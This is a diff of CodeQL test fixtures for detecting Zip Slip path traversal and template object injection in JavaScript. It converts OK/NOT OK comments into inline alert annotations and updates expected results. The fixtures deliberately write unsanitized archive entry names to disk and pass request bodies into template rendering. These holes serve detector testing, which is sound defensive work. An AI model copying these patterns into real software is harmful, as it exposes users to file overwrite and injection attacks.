--- a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/AdmZipBad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/AdmZipBad.js
@@ -3,5 +3,5 @@ var AdmZip = require('adm-zip');
 var zip = new AdmZip("archive.zip");
 var zipEntries = zip.getEntries();
 zipEntries.forEach(function(zipEntry) {
-  fs.createWriteStream(zipEntry.entryName);
+  fs.createWriteStream(zipEntry.entryName); // $ Alert
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/TarSlipBad.js b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/TarSlipBad.js
index 5398586e1251..543d43ffa310 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/TarSlipBad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/TarSlipBad.js
@@ -3,10 +3,10 @@ const tar = require('tar-stream');
 const extract = tar.extract();
 
 extract.on('entry', (header, stream, next) => {
-  const out = fs.createWriteStream(header.name);
+  const out = fs.createWriteStream(header.name); // $ Alert
 
   if (header.linkname) {
-    fs.linkSync(header.linkname, "foo");
+    fs.linkSync(header.linkname, "foo"); // $ Alert
   }
 
   stream.pipe(out);
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlip.expected b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlip.expected
index 67e38f937ba0..f8916181de12 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlip.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlip.expected
@@ -1,3 +1,28 @@
+#select
+| AdmZipBad.js:6:24:6:41 | zipEntry.entryName | AdmZipBad.js:6:24:6:41 | zipEntry.entryName | AdmZipBad.js:6:24:6:41 | zipEntry.entryName | Unsanitized archive entry, which may contain '..', is used in a $@. | AdmZipBad.js:6:24:6:41 | zipEntry.entryName | file system operation |
+| TarSlipBad.js:6:36:6:46 | header.name | TarSlipBad.js:6:36:6:46 | header.name | TarSlipBad.js:6:36:6:46 | header.name | Unsanitized archive entry, which may contain '..', is used in a $@. | TarSlipBad.js:6:36:6:46 | header.name | file system operation |
+| TarSlipBad.js:9:17:9:31 | header.linkname | TarSlipBad.js:9:17:9:31 | header.linkname | TarSlipBad.js:9:17:9:31 | header.linkname | Unsanitized archive entry, which may contain '..', is used in a $@. | TarSlipBad.js:9:17:9:31 | header.linkname | file system operation |
+| ZipSlipBad2.js:5:37:5:46 | entry.path | ZipSlipBad2.js:5:37:5:46 | entry.path | ZipSlipBad2.js:6:22:6:29 | fileName | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBad2.js:6:22:6:29 | fileName | file system operation |
+| ZipSlipBad.js:7:22:7:31 | entry.path | ZipSlipBad.js:7:22:7:31 | entry.path | ZipSlipBad.js:8:37:8:44 | fileName | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBad.js:8:37:8:44 | fileName | file system operation |
+| ZipSlipBad.js:15:22:15:31 | entry.path | ZipSlipBad.js:15:22:15:31 | entry.path | ZipSlipBad.js:16:30:16:37 | fileName | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBad.js:16:30:16:37 | fileName | file system operation |
+| ZipSlipBad.js:22:22:22:31 | entry.path | ZipSlipBad.js:22:22:22:31 | entry.path | ZipSlipBad.js:23:28:23:35 | fileName | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBad.js:23:28:23:35 | fileName | file system operation |
+| ZipSlipBad.js:30:14:30:17 | name | ZipSlipBad.js:30:14:30:17 | name | ZipSlipBad.js:31:26:31:29 | name | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBad.js:31:26:31:29 | name | file system operation |
+| ZipSlipBad.js:34:16:34:19 | name | ZipSlipBad.js:34:16:34:19 | name | ZipSlipBad.js:35:26:35:29 | name | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBad.js:35:26:35:29 | name | file system operation |
+| ZipSlipBadUnzipper.js:7:20:7:29 | entry.path | ZipSlipBadUnzipper.js:7:20:7:29 | entry.path | ZipSlipBadUnzipper.js:8:37:8:44 | fileName | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBadUnzipper.js:8:37:8:44 | fileName | file system operation |
+edges
+| ZipSlipBad2.js:5:9:5:46 | fileName | ZipSlipBad2.js:6:22:6:29 | fileName | provenance |  |
+| ZipSlipBad2.js:5:20:5:46 | 'output ... ry.path | ZipSlipBad2.js:5:9:5:46 | fileName | provenance |  |
+| ZipSlipBad2.js:5:37:5:46 | entry.path | ZipSlipBad2.js:5:20:5:46 | 'output ... ry.path | provenance | Config |
+| ZipSlipBad.js:7:11:7:31 | fileName | ZipSlipBad.js:8:37:8:44 | fileName | provenance |  |
+| ZipSlipBad.js:7:22:7:31 | entry.path | ZipSlipBad.js:7:11:7:31 | fileName | provenance |  |
+| ZipSlipBad.js:15:11:15:31 | fileName | ZipSlipBad.js:16:30:16:37 | fileName | provenance |  |
+| ZipSlipBad.js:15:22:15:31 | entry.path | ZipSlipBad.js:15:11:15:31 | fileName | provenance |  |
+| ZipSlipBad.js:22:11:22:31 | fileName | ZipSlipBad.js:23:28:23:35 | fileName | provenance |  |
+| ZipSlipBad.js:22:22:22:31 | entry.path | ZipSlipBad.js:22:11:22:31 | fileName | provenance |  |
+| ZipSlipBad.js:30:14:30:17 | name | ZipSlipBad.js:31:26:31:29 | name | provenance |  |
+| ZipSlipBad.js:34:16:34:19 | name | ZipSlipBad.js:35:26:35:29 | name | provenance |  |
+| ZipSlipBadUnzipper.js:7:9:7:29 | fileName | ZipSlipBadUnzipper.js:8:37:8:44 | fileName | provenance |  |
+| ZipSlipBadUnzipper.js:7:20:7:29 | entry.path | ZipSlipBadUnzipper.js:7:9:7:29 | fileName | provenance |  |
 nodes
 | AdmZipBad.js:6:24:6:41 | zipEntry.entryName | semmle.label | zipEntry.entryName |
 | TarSlipBad.js:6:36:6:46 | header.name | semmle.label | header.name |
@@ -22,29 +47,4 @@ nodes
 | ZipSlipBadUnzipper.js:7:9:7:29 | fileName | semmle.label | fileName |
 | ZipSlipBadUnzipper.js:7:20:7:29 | entry.path | semmle.label | entry.path |
 | ZipSlipBadUnzipper.js:8:37:8:44 | fileName | semmle.label | fileName |
-edges
-| ZipSlipBad2.js:5:9:5:46 | fileName | ZipSlipBad2.js:6:22:6:29 | fileName | provenance |  |
-| ZipSlipBad2.js:5:20:5:46 | 'output ... ry.path | ZipSlipBad2.js:5:9:5:46 | fileName | provenance |  |
-| ZipSlipBad2.js:5:37:5:46 | entry.path | ZipSlipBad2.js:5:20:5:46 | 'output ... ry.path | provenance | Config |
-| ZipSlipBad.js:7:11:7:31 | fileName | ZipSlipBad.js:8:37:8:44 | fileName | provenance |  |
-| ZipSlipBad.js:7:22:7:31 | entry.path | ZipSlipBad.js:7:11:7:31 | fileName | provenance |  |
-| ZipSlipBad.js:15:11:15:31 | fileName | ZipSlipBad.js:16:30:16:37 | fileName | provenance |  |
-| ZipSlipBad.js:15:22:15:31 | entry.path | ZipSlipBad.js:15:11:15:31 | fileName | provenance |  |
-| ZipSlipBad.js:22:11:22:31 | fileName | ZipSlipBad.js:23:28:23:35 | fileName | provenance |  |
-| ZipSlipBad.js:22:22:22:31 | entry.path | ZipSlipBad.js:22:11:22:31 | fileName | provenance |  |
-| ZipSlipBad.js:30:14:30:17 | name | ZipSlipBad.js:31:26:31:29 | name | provenance |  |
-| ZipSlipBad.js:34:16:34:19 | name | ZipSlipBad.js:35:26:35:29 | name | provenance |  |
-| ZipSlipBadUnzipper.js:7:9:7:29 | fileName | ZipSlipBadUnzipper.js:8:37:8:44 | fileName | provenance |  |
-| ZipSlipBadUnzipper.js:7:20:7:29 | entry.path | ZipSlipBadUnzipper.js:7:9:7:29 | fileName | provenance |  |
 subpaths
-#select
-| AdmZipBad.js:6:24:6:41 | zipEntry.entryName | AdmZipBad.js:6:24:6:41 | zipEntry.entryName | AdmZipBad.js:6:24:6:41 | zipEntry.entryName | Unsanitized archive entry, which may contain '..', is used in a $@. | AdmZipBad.js:6:24:6:41 | zipEntry.entryName | file system operation |
-| TarSlipBad.js:6:36:6:46 | header.name | TarSlipBad.js:6:36:6:46 | header.name | TarSlipBad.js:6:36:6:46 | header.name | Unsanitized archive entry, which may contain '..', is used in a $@. | TarSlipBad.js:6:36:6:46 | header.name | file system operation |
-| TarSlipBad.js:9:17:9:31 | header.linkname | TarSlipBad.js:9:17:9:31 | header.linkname | TarSlipBad.js:9:17:9:31 | header.linkname | Unsanitized archive entry, which may contain '..', is used in a $@. | TarSlipBad.js:9:17:9:31 | header.linkname | file system operation |
-| ZipSlipBad2.js:5:37:5:46 | entry.path | ZipSlipBad2.js:5:37:5:46 | entry.path | ZipSlipBad2.js:6:22:6:29 | fileName | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBad2.js:6:22:6:29 | fileName | file system operation |
-| ZipSlipBad.js:7:22:7:31 | entry.path | ZipSlipBad.js:7:22:7:31 | entry.path | ZipSlipBad.js:8:37:8:44 | fileName | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBad.js:8:37:8:44 | fileName | file system operation |
-| ZipSlipBad.js:15:22:15:31 | entry.path | ZipSlipBad.js:15:22:15:31 | entry.path | ZipSlipBad.js:16:30:16:37 | fileName | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBad.js:16:30:16:37 | fileName | file system operation |
-| ZipSlipBad.js:22:22:22:31 | entry.path | ZipSlipBad.js:22:22:22:31 | entry.path | ZipSlipBad.js:23:28:23:35 | fileName | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBad.js:23:28:23:35 | fileName | file system operation |
-| ZipSlipBad.js:30:14:30:17 | name | ZipSlipBad.js:30:14:30:17 | name | ZipSlipBad.js:31:26:31:29 | name | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBad.js:31:26:31:29 | name | file system operation |
-| ZipSlipBad.js:34:16:34:19 | name | ZipSlipBad.js:34:16:34:19 | name | ZipSlipBad.js:35:26:35:29 | name | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBad.js:35:26:35:29 | name | file system operation |
-| ZipSlipBadUnzipper.js:7:20:7:29 | entry.path | ZipSlipBadUnzipper.js:7:20:7:29 | entry.path | ZipSlipBadUnzipper.js:8:37:8:44 | fileName | Unsanitized archive entry, which may contain '..', is used in a $@. | ZipSlipBadUnzipper.js:8:37:8:44 | fileName | file system operation |
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlip.qlref b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlip.qlref
index 0ac6382f48ab..921be7872bbf 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlip.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlip.qlref
@@ -1 +1,2 @@
-Security/CWE-022/ZipSlip.ql
+query: Security/CWE-022/ZipSlip.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipBad.js b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipBad.js
index 0146533c6dca..e7ad3b8e264d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipBad.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipBad.js
@@ -4,35 +4,35 @@ const unzip = require('unzip');
 fs.createReadStream('archive.zip')
   .pipe(unzip.Parse())
   .on('entry', entry => {
-    const fileName = entry.path;
-    entry.pipe(fs.createWriteStream(fileName));
+    const fileName = entry.path; // $ Alert
+    entry.pipe(fs.createWriteStream(fileName)); // $ Sink
   });
 
 var Writer = require('fstream').Writer;
 fs.createReadStream('archive.zip')
   .pipe(unzip.Parse())
   .on('entry', entry => {
-    const fileName = entry.path;
-    entry.pipe(Writer({path: fileName}));
+    const fileName = entry.path; // $ Alert
+    entry.pipe(Writer({path: fileName})); // $ Sink
   });
 
 fs.createReadStream('archive.zip')
   .pipe(unzip.Parse())
   .on('entry', entry => {
-    const fileName = entry.path;
-    var file = fs.openSync(fileName, "w");
+    const fileName = entry.path; // $ Alert
+    var file = fs.openSync(fileName, "w"); // $ Sink
   });
 
 const JSZip = require('jszip');
 const zip = new JSZip();
 const path = require('path');
 function doZipSlip() {
-  for (const name in zip.files) {
-    fs.createWriteStream(name);
+  for (const name in zip.files) { // $ Alert
+    fs.createWriteStream(name); // $ Sink
   }
 
-  zip.forEach((name, file) => {
-    fs.createWriteStream(name);
+  zip.forEach((name, file) => { // $ Alert
+    fs.createWriteStream(name); // $ Sink
   });
 
   const extractTo = path.resolve("/some/path/to/extract/to");
@@ -50,6 +50,6 @@ function doZipSlip() {
     files.push(name);
   }
   for (const file of files) {
-    fs.createWriteStream(path.join(extractTo, file)); // OK
+    fs.createWriteStream(path.join(extractTo, file));
   }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipBad2.js b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipBad2.js
index d582c680ef8e..7c110ea95aa1 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipBad2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipBad2.js
@@ -2,7 +2,7 @@ var fs = require('fs');
 var unzip = require('unzip');
 fs.readFile('path/to/archive.zip', function (err, zipContents) {
   unzip.Parse(zipContents).on('entry', function (entry) {
-    var fileName = 'output/path/' + entry.path;
-    fs.writeFileSync(fileName, entry.contents);
+    var fileName = 'output/path/' + entry.path; // $ Alert
+    fs.writeFileSync(fileName, entry.contents); // $ Sink
   });
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipBadUnzipper.js b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipBadUnzipper.js
index 239b3df895d5..064bc58e25a2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipBadUnzipper.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipBadUnzipper.js
@@ -4,6 +4,6 @@ const unzipper = require('unzipper');
 fs.createReadStream('path/to/archive.zip')
   .pipe(unzipper.Parse())
   .on('entry', function (entry) {
-    var fileName = entry.path;
-    entry.pipe(fs.createWriteStream(fileName));
+    var fileName = entry.path; // $ Alert
+    entry.pipe(fs.createWriteStream(fileName)); // $ Sink
   });
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipGood.js b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipGood.js
index 07918647e6f0..45e4ced8380b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipGood.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/ZipSlip/ZipSlipGood.js
@@ -26,7 +26,7 @@ fs.createReadStream('archive.zip')
     }
 
     if (!fileName.startsWith(".")) {
-      entry.pipe(fs.createWriteStream(fileName)); // OK.
+      entry.pipe(fs.createWriteStream(fileName));
     }
   });
 
@@ -35,5 +35,5 @@ fs.createReadStream('archive.zip')
   .on('entry', entry => {
     const fileName = path.normalize(entry.path);
 
-    entry.pipe(fs.createWriteStream(path.basename(fileName))); // OK.
+    entry.pipe(fs.createWriteStream(path.basename(fileName)));
   });
diff --git a/javascript/ql/test/query-tests/Security/CWE-073/Consistency.ql b/javascript/ql/test/query-tests/Security/CWE-073/Consistency.ql
deleted file mode 100644
index eae82dc052fe..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-073/Consistency.ql
+++ /dev/null
@@ -1,3 +0,0 @@
-import javascript
-import semmle.javascript.security.dataflow.TemplateObjectInjectionQuery
-deprecated import utils.test.ConsistencyChecking
diff --git a/javascript/ql/test/query-tests/Security/CWE-073/TemplateObjectInjection.expected b/javascript/ql/test/query-tests/Security/CWE-073/TemplateObjectInjection.expected
index 8be388d5ad97..32b2875a86cf 100644
--- a/javascript/ql/test/query-tests/Security/CWE-073/TemplateObjectInjection.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-073/TemplateObjectInjection.expected
@@ -1,3 +1,43 @@
+#select
+| routes.js:2:23:2:30 | req.body | routes.js:2:23:2:30 | req.body | routes.js:2:23:2:30 | req.body | Template object depends on a $@. | routes.js:2:23:2:30 | req.body | user-provided value |
+| tst2.js:7:28:7:40 | bodyParameter | tst2.js:6:25:6:32 | req.body | tst2.js:7:28:7:40 | bodyParameter | Template object depends on a $@. | tst2.js:6:25:6:32 | req.body | user-provided value |
+| tst2.js:27:28:27:40 | bodyParameter | tst2.js:26:25:26:32 | req.body | tst2.js:27:28:27:40 | bodyParameter | Template object depends on a $@. | tst2.js:26:25:26:32 | req.body | user-provided value |
+| tst2.js:35:28:35:40 | bodyParameter | tst2.js:34:25:34:32 | req.body | tst2.js:35:28:35:40 | bodyParameter | Template object depends on a $@. | tst2.js:34:25:34:32 | req.body | user-provided value |
+| tst2.js:43:28:43:40 | bodyParameter | tst2.js:42:25:42:32 | req.body | tst2.js:43:28:43:40 | bodyParameter | Template object depends on a $@. | tst2.js:42:25:42:32 | req.body | user-provided value |
+| tst2.js:52:28:52:40 | bodyParameter | tst2.js:51:25:51:32 | req.body | tst2.js:52:28:52:40 | bodyParameter | Template object depends on a $@. | tst2.js:51:25:51:32 | req.body | user-provided value |
+| tst.js:10:28:10:40 | bodyParameter | tst.js:7:25:7:32 | req.body | tst.js:10:28:10:40 | bodyParameter | Template object depends on a $@. | tst.js:7:25:7:32 | req.body | user-provided value |
+| tst.js:11:28:11:41 | queryParameter | tst.js:8:26:8:49 | req.que ... rameter | tst.js:11:28:11:41 | queryParameter | Template object depends on a $@. | tst.js:8:26:8:49 | req.que ... rameter | user-provided value |
+| tst.js:24:28:24:30 | obj | tst.js:8:26:8:49 | req.que ... rameter | tst.js:24:28:24:30 | obj | Template object depends on a $@. | tst.js:8:26:8:49 | req.que ... rameter | user-provided value |
+| tst.js:29:28:29:42 | JSON.parse(str) | tst.js:8:26:8:49 | req.que ... rameter | tst.js:29:28:29:42 | JSON.parse(str) | Template object depends on a $@. | tst.js:8:26:8:49 | req.que ... rameter | user-provided value |
+edges
+| tst2.js:6:9:6:46 | bodyParameter | tst2.js:7:28:7:40 | bodyParameter | provenance |  |
+| tst2.js:6:25:6:32 | req.body | tst2.js:6:25:6:46 | req.bod ... rameter | provenance | Config |
+| tst2.js:6:25:6:46 | req.bod ... rameter | tst2.js:6:9:6:46 | bodyParameter | provenance |  |
+| tst2.js:26:9:26:46 | bodyParameter | tst2.js:27:28:27:40 | bodyParameter | provenance |  |
+| tst2.js:26:25:26:32 | req.body | tst2.js:26:25:26:46 | req.bod ... rameter | provenance | Config |
+| tst2.js:26:25:26:46 | req.bod ... rameter | tst2.js:26:9:26:46 | bodyParameter | provenance |  |
+| tst2.js:34:9:34:46 | bodyParameter | tst2.js:35:28:35:40 | bodyParameter | provenance |  |
+| tst2.js:34:25:34:32 | req.body | tst2.js:34:25:34:46 | req.bod ... rameter | provenance | Config |
+| tst2.js:34:25:34:46 | req.bod ... rameter | tst2.js:34:9:34:46 | bodyParameter | provenance |  |
+| tst2.js:42:9:42:46 | bodyParameter | tst2.js:43:28:43:40 | bodyParameter | provenance |  |
+| tst2.js:42:25:42:32 | req.body | tst2.js:42:25:42:46 | req.bod ... rameter | provenance | Config |
+| tst2.js:42:25:42:46 | req.bod ... rameter | tst2.js:42:9:42:46 | bodyParameter | provenance |  |
+| tst2.js:51:9:51:46 | bodyParameter | tst2.js:52:28:52:40 | bodyParameter | provenance |  |
+| tst2.js:51:25:51:32 | req.body | tst2.js:51:25:51:46 | req.bod ... rameter | provenance | Config |
+| tst2.js:51:25:51:46 | req.bod ... rameter | tst2.js:51:9:51:46 | bodyParameter | provenance |  |
+| tst.js:7:9:7:46 | bodyParameter | tst.js:10:28:10:40 | bodyParameter | provenance |  |
+| tst.js:7:25:7:32 | req.body | tst.js:7:25:7:46 | req.bod ... rameter | provenance | Config |
+| tst.js:7:25:7:46 | req.bod ... rameter | tst.js:7:9:7:46 | bodyParameter | provenance |  |
+| tst.js:8:9:8:49 | queryParameter | tst.js:11:28:11:41 | queryParameter | provenance |  |
+| tst.js:8:9:8:49 | queryParameter | tst.js:20:19:20:32 | queryParameter | provenance |  |
+| tst.js:8:26:8:49 | req.que ... rameter | tst.js:8:9:8:49 | queryParameter | provenance |  |
+| tst.js:20:19:20:32 | queryParameter | tst.js:23:24:23:26 | obj | provenance |  |
+| tst.js:23:24:23:26 | obj | tst.js:24:28:24:30 | obj | provenance |  |
+| tst.js:23:24:23:26 | obj | tst.js:26:17:26:19 | obj | provenance |  |
+| tst.js:26:11:26:24 | str | tst.js:29:39:29:41 | str | provenance |  |
+| tst.js:26:17:26:19 | obj | tst.js:26:17:26:24 | obj + "" | provenance | Config |
+| tst.js:26:17:26:24 | obj + "" | tst.js:26:11:26:24 | str | provenance |  |
+| tst.js:29:39:29:41 | str | tst.js:29:28:29:42 | JSON.parse(str) | provenance | Config |
 nodes
 | routes.js:2:23:2:30 | req.body | semmle.label | req.body |
 | tst2.js:6:9:6:46 | bodyParameter | semmle.label | bodyParameter |
@@ -35,44 +75,4 @@ nodes
 | tst.js:26:17:26:24 | obj + "" | semmle.label | obj + "" |
 | tst.js:29:28:29:42 | JSON.parse(str) | semmle.label | JSON.parse(str) |
 | tst.js:29:39:29:41 | str | semmle.label | str |
-edges
-| tst2.js:6:9:6:46 | bodyParameter | tst2.js:7:28:7:40 | bodyParameter | provenance |  |
-| tst2.js:6:25:6:32 | req.body | tst2.js:6:25:6:46 | req.bod ... rameter | provenance | Config |
-| tst2.js:6:25:6:46 | req.bod ... rameter | tst2.js:6:9:6:46 | bodyParameter | provenance |  |
-| tst2.js:26:9:26:46 | bodyParameter | tst2.js:27:28:27:40 | bodyParameter | provenance |  |
-| tst2.js:26:25:26:32 | req.body | tst2.js:26:25:26:46 | req.bod ... rameter | provenance | Config |
-| tst2.js:26:25:26:46 | req.bod ... rameter | tst2.js:26:9:26:46 | bodyParameter | provenance |  |
-| tst2.js:34:9:34:46 | bodyParameter | tst2.js:35:28:35:40 | bodyParameter | provenance |  |
-| tst2.js:34:25:34:32 | req.body | tst2.js:34:25:34:46 | req.bod ... rameter | provenance | Config |
-| tst2.js:34:25:34:46 | req.bod ... rameter | tst2.js:34:9:34:46 | bodyParameter | provenance |  |
-| tst2.js:42:9:42:46 | bodyParameter | tst2.js:43:28:43:40 | bodyParameter | provenance |  |
-| tst2.js:42:25:42:32 | req.body | tst2.js:42:25:42:46 | req.bod ... rameter | provenance | Config |
-| tst2.js:42:25:42:46 | req.bod ... rameter | tst2.js:42:9:42:46 | bodyParameter | provenance |  |
-| tst2.js:51:9:51:46 | bodyParameter | tst2.js:52:28:52:40 | bodyParameter | provenance |  |
-| tst2.js:51:25:51:32 | req.body | tst2.js:51:25:51:46 | req.bod ... rameter | provenance | Config |
-| tst2.js:51:25:51:46 | req.bod ... rameter | tst2.js:51:9:51:46 | bodyParameter | provenance |  |
-| tst.js:7:9:7:46 | bodyParameter | tst.js:10:28:10:40 | bodyParameter | provenance |  |
-| tst.js:7:25:7:32 | req.body | tst.js:7:25:7:46 | req.bod ... rameter | provenance | Config |
-| tst.js:7:25:7:46 | req.bod ... rameter | tst.js:7:9:7:46 | bodyParameter | provenance |  |
-| tst.js:8:9:8:49 | queryParameter | tst.js:11:28:11:41 | queryParameter | provenance |  |
-| tst.js:8:9:8:49 | queryParameter | tst.js:20:19:20:32 | queryParameter | provenance |  |
-| tst.js:8:26:8:49 | req.que ... rameter | tst.js:8:9:8:49 | queryParameter | provenance |  |
-| tst.js:20:19:20:32 | queryParameter | tst.js:23:24:23:26 | obj | provenance |  |
-| tst.js:23:24:23:26 | obj | tst.js:24:28:24:30 | obj | provenance |  |
-| tst.js:23:24:23:26 | obj | tst.js:26:17:26:19 | obj | provenance |  |
-| tst.js:26:11:26:24 | str | tst.js:29:39:29:41 | str | provenance |  |
-| tst.js:26:17:26:19 | obj | tst.js:26:17:26:24 | obj + "" | provenance | Config |
-| tst.js:26:17:26:24 | obj + "" | tst.js:26:11:26:24 | str | provenance |  |
-| tst.js:29:39:29:41 | str | tst.js:29:28:29:42 | JSON.parse(str) | provenance | Config |
 subpaths
-#select
-| routes.js:2:23:2:30 | req.body | routes.js:2:23:2:30 | req.body | routes.js:2:23:2:30 | req.body | Template object depends on a $@. | routes.js:2:23:2:30 | req.body | user-provided value |
-| tst2.js:7:28:7:40 | bodyParameter | tst2.js:6:25:6:32 | req.body | tst2.js:7:28:7:40 | bodyParameter | Template object depends on a $@. | tst2.js:6:25:6:32 | req.body | user-provided value |
-| tst2.js:27:28:27:40 | bodyParameter | tst2.js:26:25:26:32 | req.body | tst2.js:27:28:27:40 | bodyParameter | Template object depends on a $@. | tst2.js:26:25:26:32 | req.body | user-provided value |
-| tst2.js:35:28:35:40 | bodyParameter | tst2.js:34:25:34:32 | req.body | tst2.js:35:28:35:40 | bodyParameter | Template object depends on a $@. | tst2.js:34:25:34:32 | req.body | user-provided value |
-| tst2.js:43:28:43:40 | bodyParameter | tst2.js:42:25:42:32 | req.body | tst2.js:43:28:43:40 | bodyParameter | Template object depends on a $@. | tst2.js:42:25:42:32 | req.body | user-provided value |
-| tst2.js:52:28:52:40 | bodyParameter | tst2.js:51:25:51:32 | req.body | tst2.js:52:28:52:40 | bodyParameter | Template object depends on a $@. | tst2.js:51:25:51:32 | req.body | user-provided value |
-| tst.js:10:28:10:40 | bodyParameter | tst.js:7:25:7:32 | req.body | tst.js:10:28:10:40 | bodyParameter | Template object depends on a $@. | tst.js:7:25:7:32 | req.body | user-provided value |
-| tst.js:11:28:11:41 | queryParameter | tst.js:8:26:8:49 | req.que ... rameter | tst.js:11:28:11:41 | queryParameter | Template object depends on a $@. | tst.js:8:26:8:49 | req.que ... rameter | user-provided value |
-| tst.js:24:28:24:30 | obj | tst.js:8:26:8:49 | req.que ... rameter | tst.js:24:28:24:30 | obj | Template object depends on a $@. | tst.js:8:26:8:49 | req.que ... rameter | user-provided value |
-| tst.js:29:28:29:42 | JSON.parse(str) | tst.js:8:26:8:49 | req.que ... rameter | tst.js:29:28:29:42 | JSON.parse(str) | Template object depends on a $@. | tst.js:8:26:8:49 | req.que ... rameter | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-073/TemplateObjectInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-073/TemplateObjectInjection.qlref
index 28d1b81c5d40..a6487dea1574 100644
--- a/javascript/ql/test/query-tests/Security/CWE-073/TemplateObjectInjection.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-073/TemplateObjectInjection.qlref
@@ -1 +1,2 @@
-Security/CWE-073/TemplateObjectInjection.ql
+query: Security/CWE-073/TemplateObjectInjection.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-073/routes.js b/javascript/ql/test/query-tests/Security/CWE-073/routes.js
index 2bfbad7cd37b..07e03fc0f404 100644
--- a/javascript/ql/test/query-tests/Security/CWE-073/routes.js
+++ b/javascript/ql/test/query-tests/Security/CWE-073/routes.js
@@ -1,3 +1,3 @@
 exports.foo = function(req, res) {
-    res.render('foo', req.body); // NOT OK
+    res.render('foo', req.body); // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-073/tst.js b/javascript/ql/test/query-tests/Security/CWE-073/tst.js
index ee2bff5f0e78..04422c253a0c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-073/tst.js
+++ b/javascript/ql/test/query-tests/Security/CWE-073/tst.js
@@ -4,29 +4,29 @@ app.set('view engine', 'hbs');
 app.use(require('body-parser').json());
 app.use(require('body-parser').urlencoded({ extended: false }));
 app.post('/path', function(req, res) {
-    var bodyParameter = req.body.bodyParameter;
-    var queryParameter = req.query.queryParameter;
+    var bodyParameter = req.body.bodyParameter; // $ Source
+    var queryParameter = req.query.queryParameter; // $ Source
 
-    res.render('template', bodyParameter); // NOT OK
-    res.render('template', queryParameter); // NOT OK
+    res.render('template', bodyParameter); // $ Alert
+    res.render('template', queryParameter); // $ Alert
 
     if (typeof bodyParameter === "string") {
-        res.render('template', bodyParameter); // OK
+        res.render('template', bodyParameter);
     }
-    res.render('template', queryParameter + ""); // OK
+    res.render('template', queryParameter + "");
 
-    res.render('template', {profile: bodyParameter}); // OK
+    res.render('template', {profile: bodyParameter});
 
     indirect(res, queryParameter);
 }); 
 
 function indirect(res, obj) {
-    res.render("template", obj); // NOT OK
+    res.render("template", obj); // $ Alert
 
     const str = obj + "";
-    res.render("template", str); // OK 
+    res.render("template", str);
 
-    res.render("template", JSON.parse(str)); // NOT OK
+    res.render("template", JSON.parse(str)); // $ Alert
 }
 
 let routes = require('./routes');
diff --git a/javascript/ql/test/query-tests/Security/CWE-073/tst2.js b/javascript/ql/test/query-tests/Security/CWE-073/tst2.js
index 6cb626fd7c1c..5e0168f0707c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-073/tst2.js
+++ b/javascript/ql/test/query-tests/Security/CWE-073/tst2.js
@@ -3,44 +3,44 @@ var app = require('express')();
 app.engine( '.hbs', handlebars({ defaultLayout: 'main', extname: '.hbs' }) ); 
 app.set('view engine', '.hbs')
 app.post('/path', require('body-parser').json(), function(req, res) {
-    var bodyParameter = req.body.bodyParameter;
-    res.render('template', bodyParameter); // NOT OK
+    var bodyParameter = req.body.bodyParameter; // $ Source
+    res.render('template', bodyParameter); // $ Alert
 }); 
 
